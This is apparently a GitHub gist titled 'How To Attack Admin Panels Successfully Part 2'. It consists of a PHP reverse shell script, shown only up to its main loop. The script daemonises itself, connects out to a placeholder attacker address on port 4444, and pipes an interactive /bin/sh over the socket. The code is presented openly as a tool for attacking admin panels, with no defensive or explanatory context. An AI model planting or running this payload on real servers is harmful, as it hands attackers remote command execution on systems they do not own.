Created
January 4, 2023 21:01
-
-
Save c0d3x27/15c8a59c0bd90da624f95352d2686f0c to your computer and use it in GitHub Desktop.
How To Attack Admin Panels Successfully Part 2
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$ip = 'ATTACKER_IP_ADDRESS'; | |
$port = '4444'; | |
$chunk_size = 1400; | |
$write_a = null; | |
$error_a = null; | |
$shell = 'uname -a; w; id; /bin/sh -i'; | |
$daemon = 0; | |
$debug = 0; | |
set_time_limit (0); | |
ob_implicit_flush(); | |
$use_ssl = 0; | |
$ssl_crt = null; | |
$ssl_key = null; | |
function printit ($string) | |
{ | |
if (!$daemon) | |
{ | |
print "$string\n"; | |
} | |
} | |
if (function_exists('pcntl_fork')) | |
{ | |
$pid = pcntl_fork(); | |
if ($pid == -1) | |
{ | |
printit('error: could not fork'); | |
exit(1); | |
} | |
if ($pid) | |
{ | |
exit(0); | |
} | |
if (posix_setsid() == -1) | |
{ | |
printit('error: could not setsid'); | |
exit(1); | |
} | |
$daemon = 1; | |
} | |
else | |
{ | |
printit('warning: pcntl_fork is not available, continuing in daemon mode'); | |
} | |
chdir('/'); | |
umask(0); | |
$sock = fsockopen($ip, $port, $errno, $errstr, 30); | |
if (!$sock) | |
{ | |
printit('error: could not connect to attacker'); | |
exit(1); | |
} | |
$descriptorspec = array( | |
0 => array('pipe', 'r'), | |
1 => array('pipe', 'w'), | |
2 => array('pipe', 'w') | |
); | |
$process = proc_open($shell, $descriptorspec, $pipes); | |
if (!is_resource($process)) | |
{ | |
printit('error: could not execute shell'); | |
exit(1); | |
} | |
stream_set_blocking($pipes[0], 0); | |
stream_set_blocking($pipes[1], 0); | |
stream_set_blocking($pipes[2], 0); | |
stream_set_blocking($sock, 0); | |
while (1) | |
{ | |
if (feof($sock)) | |
{ | |
printit('error: connection terminated'); | |
break; | |
} | |
if (feof($pipes[1])) | |
{ | |
printit('error: shell terminated'); | |
break; | |
} | |
$read_a = array($sock, $pipes[1], $pipes[2]); | |
$num_changed_sockets = |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment